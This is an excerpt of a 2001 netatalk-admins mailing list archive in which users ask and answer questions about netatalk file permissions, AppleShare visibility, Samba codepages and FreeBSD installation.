> > tel : +49-221-923 27 33          fax : +49-221-239 651
> > -----------------------------------------------------------
> > EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
> > der Abfallwirtschaftsbetriebe Köln (AWB) und dem
> > Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri May  4 11:54:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA29125
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 4 May 2001 11:54:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 4 May 2001 11:54:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24882
	for netatalk.administrators-members@umich.edu; Fri, 4 May 2001 11:54:01 -0400 (EDT)
Received: from smtp.vphos.net (smtp-2.vancouver.ipapp.com [216.152.192.208])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA24818
	for <netatalk-admins@umich.edu>; Fri, 4 May 2001 11:53:59 -0400 (EDT)
Received: from [209.5.247.28] ([209.5.247.28]) by smtp.vphos.net ; Fri, 04 May 2001 08:53:57 -0700
Received: from [192.168.1.56] by shelmerdine.com (CommuniGate SMTP 3.1.3) with ESMTP id S.3920482675bg for <netatalk-admins@umich.edu>; Fri, 04 May 2001 10:54:45 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 04 May 2001 10:53:50 -0500
Subject: File Permissions ?
From: Dean Spearman <dean@shelmerdine.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7183ABE.64EC%dean@shelmerdine.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

This is probably a dumb newbee question but...

Netatalk running in a Red Hat v7 linux box.

/home/des  is set up as server "CAD" volume "drawings"
/home/des is drwxrwsrwx  (will get rid of the last rwx when I get it
working)
/home/des is owned by root and assigned group 'des'

user1 and user2 are members of the group des

>From a mac I log in as user1 and save a text file.
the textfile is -rw-rw-rw-

I logout and log in again as user2. I open the text file in a text editor.
The text file opens as read only.

I had expected it to open as read write.

What obvoius bit of linux magic am I missing here?


From netatalk.administrators-errors@umich.edu  Mon May  7 22:29:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA24928
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 May 2001 22:29:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA03597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 May 2001 22:29:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA03575
	for netatalk.administrators-members@umich.edu; Mon, 7 May 2001 22:29:07 -0400 (EDT)
Received: from ipop4 (ipop4.tm.net.my [202.188.0.248])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA03404
	for <netatalk-admins@umich.edu>; Mon, 7 May 2001 22:29:02 -0400 (EDT)
Received: from eworks320dl (isdn-brf-87-77.tm.net.my [202.188.87.77])
 by ipop4.tm.net.my (iPlanet Messaging Server 5.0  (built Oct  2 2000))
 with SMTP id <0GCZ009F3W3JL1@ipop4.tm.net.my> for netatalk-admins@umich.edu;
 Tue, 08 May 2001 10:26:08 +0800 (SGT)
Date: Tue, 08 May 2001 10:30:42 +0800
From: Siao Yuan Tan <sy.tan@pdx.com.my>
Subject: Cannot see my Linux box in Appleshare window
To: netatalk-admins@umich.edu
Message-id: <010f01c0d766$e10d38b0$9901a8c0@eworks320dl>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Content-type: multipart/alternative;
 boundary="Boundary_(ID_JH2fqDK69R7XpwcK+d5ERg)"
X-Priority: 3
X-MSMail-priority: Normal

This is a multi-part message in MIME format.

--Boundary_(ID_JH2fqDK69R7XpwcK+d5ERg)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

I have install netatalk in my Linux box but the name is not appearing in the Mac Appleshare window.  What is wrong?  I can access the share but typing in IP only.

Please help.

I am new to netatalk.

Thanks.

Siao Tan

--Boundary_(ID_JH2fqDK69R7XpwcK+d5ERg)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<META content="MSHTML 5.00.3103.1000" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>I have install netatalk in my Linux box but the 
name is not appearing in the Mac Appleshare window.&nbsp; What is wrong?&nbsp; I 
can access the share but typing in IP only.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=Arial size=2>Please help.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=Arial size=2>I am new to netatalk.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=Arial size=2>Thanks.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=Arial size=2>Siao Tan</FONT></DIV></BODY></HTML>

--Boundary_(ID_JH2fqDK69R7XpwcK+d5ERg)--

From netatalk.administrators-errors@umich.edu  Mon May  7 23:04:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA25958
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 May 2001 23:04:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA16435
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 May 2001 23:04:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA16412
	for netatalk.administrators-members@umich.edu; Mon, 7 May 2001 23:04:26 -0400 (EDT)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id XAA16359
	for <netatalk-admins@umich.edu>; Mon, 7 May 2001 23:04:25 -0400 (EDT)
Received: (qmail 23362 invoked by uid 500); 8 May 2001 03:04:14 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 8 May 2001 03:04:14 -0000
Date: Mon, 7 May 2001 22:04:14 -0500 (CDT)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Samba/Netatalk/Codepage
In-Reply-To: <010f01c0d766$e10d38b0$9901a8c0@eworks320dl>
Message-ID: <Pine.LNX.4.30.0105072155490.23356-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I noticed when copying from an NT box running Services for Macintosh to a
Samba 2.07 box that the Samba box does not interpret certain characters
correctly such as the "trademark" symbol as well as a few others.

I wish to use Netatalk and Samba within the same folders on my Linux box
as I do on my NT box.

Something tells me that there may be a codepage issue here. Is anyone
sharing out directories in this manner? I realize that one should hide the
dot files, Network Trash, and The VolumeSettingsFolder/Icon? but wonder if
there's more to do.

Thanks.

-Dan


From netatalk.administrators-errors@umich.edu  Mon May  7 23:06:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA26015
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 May 2001 23:06:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 May 2001 23:06:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26151
	for netatalk.administrators-members@umich.edu; Mon, 7 May 2001 23:06:55 -0400 (EDT)
Received: from kakapo.cs.auckland.ac.nz (kakapo.cs.auckland.ac.nz [130.216.34.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA26081
	for <netatalk-admins@umich.edu>; Mon, 7 May 2001 23:06:53 -0400 (EDT)
Received: from localhost (bobby-121.cs.auckland.ac.nz [130.216.108.121]) by kakapo.cs.auckland.ac.nz (8.8.6/8.8.6/cs-master) with ESMTP id PAA00446 for <netatalk-admins@umich.edu>; Tue, 8 May 2001 15:06:51 +1200 (NZST) (sender bobby@cs.auckland.ac.nz)
Message-ID: <200105080306.PAA00446@kakapo.cs.auckland.ac.nz>
Date: Tue, 8 May 2001 03:05:38 -0700
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v387)
From: bobby cheema <bobby@cs.auckland.ac.nz>
To: netatalk-admins@umich.edu
X-Mailer: Apple Mail (2.387)
Content-Transfer-Encoding: 7bit
Subject: netatalk for freebsd

I am new to netatalk please help me from wherei can get netatalk for 
freebsd and how to install it

thank you very much in advance


bobby

From netatalk.administrators-errors@umich.edu  Mon May  7 23:18:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA26466
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 7 May 2001 23:18:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA15487
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 7 May 2001 23:18:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA15469
	for netatalk.administrators-members@umich.edu; Mon, 7 May 2001 23:18:34 -0400 (EDT)
Received: from kakapo.cs.auckland.ac.nz (kakapo.cs.auckland.ac.nz [130.216.34.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA15414
	for <netatalk-admins@umich.edu>; Mon, 7 May 2001 23:18:32 -0400 (EDT)
Received: from clare (clare.cs.auckland.ac.nz [130.216.108.110]) by kakapo.cs.auckland.ac.nz (8.8.6/8.8.6/cs-master) with ESMTP id PAA01269 for <netatalk-admins@umich.edu>; Tue, 8 May 2001 15:18:30 +1200 (NZST) (sender clare@cs.auckland.ac.nz)
Message-ID: <200105080318.PAA01269@kakapo.cs.auckland.ac.nz>
Date: Tue, 8 May 2001 15:17:29 +1200
Content-Type: text/plain;
	format=flowed;
	charset=iso-8859-1
X-Mailer: Apple Mail (2.388)
From: Clare West <clare@cs.auckland.ac.nz>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v388)
In-Reply-To: <010f01c0d766$e10d38b0$9901a8c0@eworks320dl>
Subject: Re: Cannot see my Linux box in Appleshare window
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA26466


On Tuesday, May 8, 2001, at 02:30  PM, Siao Yuan Tan wrote:

> I have install netatalk in my Linux box but the name is not appearing 
> in the Mac Appleshare window.  What is wrong?  I can access the share 
> but typing in IP only.

I am having pretty much exactly the opposite problem. I have installed 
netatalk on FreeBSD 4.2 machine. I can see the server with the chooser, 
but If I try from a machine will Appletalk switched off (by entering the 
ip address for example) I get "no response from server".

clare

From netatalk.administrators-errors@umich.edu  Tue May  8 08:11:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA10032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 08:11:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA22484
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 08:11:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA22468
	for netatalk.administrators-members@umich.edu; Tue, 8 May 2001 08:11:04 -0400 (EDT)
Received: from cacophonix.circlesquared.com ([193.133.196.154])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA22188
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 08:10:55 -0400 (EDT)
Received: from dogmatix.circlesquared.com (circlesquared.com) [193.133.196.147] 
	by cacophonix.circlesquared.com with esmtp (Exim 3.12 #1 (Debian))
	id 14x6Jr-0004Lt-00; Tue, 08 May 2001 13:10:23 +0100
Sender: peter@circlesquared.com
Message-ID: <3AF7E23E.220A1C2E@circlesquared.com>
Date: Tue, 08 May 2001 13:10:38 +0100
From: Peter Risdon <peter@circlesquared.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: permissions prob
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

When my client tries to copy a folder to the network share, he gets an
error stating he has insufficient permissions, and the following appears
in /var/log/messages:

-- May  8 10:47:24 gateway afpd[56796]: setdirmode: chmod .AppleDouble:
Operation n
ot permitted
May  8 10:49:26 gateway afpd[56796]: setdirmode: chmod .AppleDouble:
Operation n
ot permitted

I'm puzzled because the setup is simple and one I've used elsewhere,
including in my own office. The server is FreeBSD 4.2 and
AppleVolumes.default just states:

~
/shared/directory/path

The share is also used by samba. permissions of the share are 777.

Any ideas?




Peter Risdon
circle squared
9 The Maltings,
Millfield,
Cottenham,
Cambridge,
CB4 8RE
UK
tel +44 1954 251097
fax +44 1954 252209

While every effort is made to ensure this mail and its attachments are
free of viruses and other malicious software, recipients should take
their own precautions.

This mail is intended for the addressees only. Should you receive it
inappropriately, please delete it and inform us by return mail to
admin@circlesquared.com

Unless otherwise stated, the opinions expressed in this mail are those
of its author, and not statements made on behalf of the circle squared.

From <>  Tue May  8 08:49:43 2001
Return-Path: <<>>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA11123
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 08:49:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05265
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 08:49:43 -0400 (EDT)
Received: from smtp.georgefox.edu ([198.106.64.176])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA05219
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 08:49:42 -0400 (EDT)
Received: from mail.georgefox.edu (mail.georgefox.edu [198.106.64.3])
	by smtp.georgefox.edu (8.9.3+Sun/8.9.3) with ESMTP id FAA28387
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 05:49:39 -0700 (PDT)
Message-id: <fc.000f6f5c00a49f4a3b9aca00736b3a15.a49f4b@mail.georgefox.edu>
Date: Tue, 08 May 2001 05:27:37 -0700
Subject: NDN: permissions prob
X-FC-Icon-ID: 2031
X-FC-MachineGenerated: true
To: netatalk-admins@umich.edu
From: "Mailer-Daemon" <Mailer-Daemon@georgefox.edu>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Sorry. Your message could not be delivered to:

Anthony Brock (Mailbox or Conference is full.)


From netatalk.administrators-errors@umich.edu  Tue May  8 09:22:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12168
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 09:22:55 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10633
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 09:22:55 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10613
	for netatalk.administrators-members@umich.edu; Tue, 8 May 2001 09:22:55 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA10588
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 09:22:53 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f48DMmq18165;
	Tue, 8 May 2001 09:22:48 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AF7F31C.F0458799@univrel.pr.uconn.edu>
Date: Tue, 08 May 2001 09:22:36 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: bobby cheema <bobby@cs.auckland.ac.nz>
CC: netatalk-admins@umich.edu
Subject: Re: netatalk for freebsd
References: <200105080306.PAA00446@kakapo.cs.auckland.ac.nz>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

bobby cheema wrote:
> 
> I am new to netatalk please help me from wherei can get netatalk for
> freebsd and how to install it
> 
> thank you very much in advance

The most recent version is netatalk 1.5pre6, which is available at
http://sourceforge.net/projects/netatalk/ . There is no FreeBSD binary
build available there, so you will have to download and compile the
sources.

There are very old versions available at freebsd.org, but I've just sent
them an email asking them to package up the newest version of netatalk,
so there may be a binary package available shortly.

Thanks,
jeff

From netatalk.administrators-errors@umich.edu  Tue May  8 14:24:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA01358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 14:24:25 -0400 (EDT)
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id MAA02218
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 12:30:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA28295
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 12:26:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA28273
	for netatalk.administrators-members@umich.edu; Tue, 8 May 2001 12:26:44 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA25053
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 12:24:49 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Tue, 8 May 2001 09:24:58 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 08 May 2001 09:25:08 -0700
Subject: Re: netatalk for freebsd
From: charlie wood <charlie@id-inc.com>
To: bobby cheema <bobby@cs.auckland.ac.nz>, <netatalk-admins@umich.edu>
Message-ID: <B71D6BF4.2EA3%charlie@id-inc.com>
In-Reply-To: <200105080306.PAA00446@kakapo.cs.auckland.ac.nz>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

get it here:

http://netatalk.sourceforge.net/

</charlie>


-------original message-------

> From: bobby cheema <bobby@cs.auckland.ac.nz>
> Date: Tue, 8 May 2001 03:05:38 -0700
> To: netatalk-admins@umich.edu
> Subject: netatalk for freebsd
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 7 May 2001 23:08:02 -0400 (EDT)
> 
> I am new to netatalk please help me from wherei can get netatalk for
> freebsd and how to install it
> 
> thank you very much in advance
> 
> 
> bobby


From netatalk.administrators-errors@umich.edu  Tue May  8 14:27:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA01650
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 14:27:59 -0400 (EDT)
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26] (may be forged))
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id LAA23754
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 11:44:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14518
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 11:41:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14500
	for netatalk.administrators-members@umich.edu; Tue, 8 May 2001 11:41:15 -0400 (EDT)
Received: from mhub6.tc.umn.edu (mhub6.tc.umn.edu [160.94.218.243])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14473
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 11:41:14 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub6.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 8 May 2001 10:41:13 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 8 May 2001 10:41:13 -0500
Date: Tue, 8 May 2001 10:41:13 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: permissions prob
In-Reply-To: <3AF7E23E.220A1C2E@circlesquared.com>
Message-Id: <Pine.SOL.4.20.0105081035140.26504-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Which version of Netatalk are you running? This was a known problem in the
1.5pre5 version, fixed in 1.5pre6. I believe it was also a common problem
in the 1.4b2, but don't remember for sure.

If you search the mail archives, there are extensive notes on this. I
can't get to the archive FTP site at the moment to pull up the relevant
discussions, but they're also available on the web at:

http://endofdays.rs.itd.umich.edu/~tombeau/netatalk/mail.html

and via ftp at:

ftp://terminator.rs.itd.umich.edu/unix/netatalk

-Karen

on 05/08/01, Peter Risdon wisely declared:

> When my client tries to copy a folder to the network share, he gets an
> error stating he has insufficient permissions, and the following appears
> in /var/log/messages:
> 
> -- May  8 10:47:24 gateway afpd[56796]: setdirmode: chmod .AppleDouble:
> Operation n
> ot permitted
> May  8 10:49:26 gateway afpd[56796]: setdirmode: chmod .AppleDouble:
> Operation n
> ot permitted
> 
> I'm puzzled because the setup is simple and one I've used elsewhere,
> including in my own office. The server is FreeBSD 4.2 and
> AppleVolumes.default just states:
> 
> ~
> /shared/directory/path
> 
> The share is also used by samba. permissions of the share are 777.
> 
> Any ideas?
> 
> 
> 
> 
> Peter Risdon
> circle squared
> 9 The Maltings,
> Millfield,
> Cottenham,
> Cambridge,
> CB4 8RE
> UK
> tel +44 1954 251097
> fax +44 1954 252209

*                                                     *
Karen Swanberg              |                         
Network Admin.              |               GNUmusk, an 
Dept. of Geology/Geophysics |        opensource cologne
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |       Old geeks never die                    
University of Mn            |          They just revert
Minneapolis, MN 55455       |              to cleartext
(612) 624-6541              |                         
*                                                     *



From netatalk.administrators-errors@umich.edu  Tue May  8 15:38:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA06585
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 8 May 2001 15:38:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09894
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 8 May 2001 15:38:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA09876
	for netatalk.administrators-members@umich.edu; Tue, 8 May 2001 15:38:08 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA09852
	for <netatalk-admins@umich.edu>; Tue, 8 May 2001 15:38:07 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 8 May 2001 14:38:06 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 8 May 2001 14:38:06 -0500
Date: Tue, 8 May 2001 14:38:06 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: permissions prob
In-Reply-To: <Pine.LNX.4.30.0105081336530.24190-100000@www.molbio.wisc.edu>
Message-Id: <Pine.SOL.4.20.0105081421370.23600-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> > on 05/08/01, Peter Risdon wisely declared:
> >
> > > When my client tries to copy a folder to the network share, he gets an
> > > error stating he has insufficient permissions, and the following appears
> > > in /var/log/messages:
> > >
> > > -- May  8 10:47:24 gateway afpd[56796]: setdirmode: chmod .AppleDouble:
> > > Operation n
> > > ot permitted
> > > May  8 10:49:26 gateway afpd[56796]: setdirmode: chmod .AppleDouble:
> > > Operation n
> > > ot permitted
> > >
> > > I'm puzzled because the setup is simple and one I've used elsewhere,
> > > including in my own office. The server is FreeBSD 4.2 and
> > > AppleVolumes.default just states:
> > >
> > > ~
> > > /shared/directory/path
> > >
> > > The share is also used by samba. permissions of the share are 777.
> > >
> > > Any ideas?
> > >
> 
> On Tue, 8 May 2001, Karen A Swanberg wrote:
> 
> >
> > Which version of Netatalk are you running? This was a known problem in the
> > 1.5pre5 version, fixed in 1.5pre6. I believe it was also a common problem
> > in the 1.4b2, but don't remember for sure.
> >
> > If you search the mail archives, there are extensive notes on this. I
> > can't get to the archive FTP site at the moment to pull up the relevant
> > discussions, but they're also available on the web at:
> >
> > http://endofdays.rs.itd.umich.edu/~tombeau/netatalk/mail.html
> >
> > and via ftp at:
> >
> > ftp://terminator.rs.itd.umich.edu/unix/netatalk
> >
> > -Karen

on 05/08/01, Daniel E. Lautenschleger wisely declared:

> I get a similiar response with Pre6.
> 
> -Dan


Hm. When I was having similar problems with 1.5pre6, , it was because I
hadn't completely removed the old binaries from my system, and they were
still getting called at unexpected times. If the end user is still getting
the errors when they try to access the volume from the client, after a
clean install and a reboot(?), I don't have any more suggestions. The
.AppleDouble errors in the error log or console on the server, though,
without corrosponding problems on the client is due to a slight problem
with the error logging, and is not a real problem. It's been fixed
in the CVS version, but I haven't yet been able to get that one to
compile due to CVS issues on my end.

Copied from an e-mail from Andrew Morgan:

Subject: Re: .AppleDouble tests on OpenBSD (long...)
Date: Wed, 25 Apr 2001 10:19:41 -0500 (CDT)

> > Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
> > .: Operation not permitted
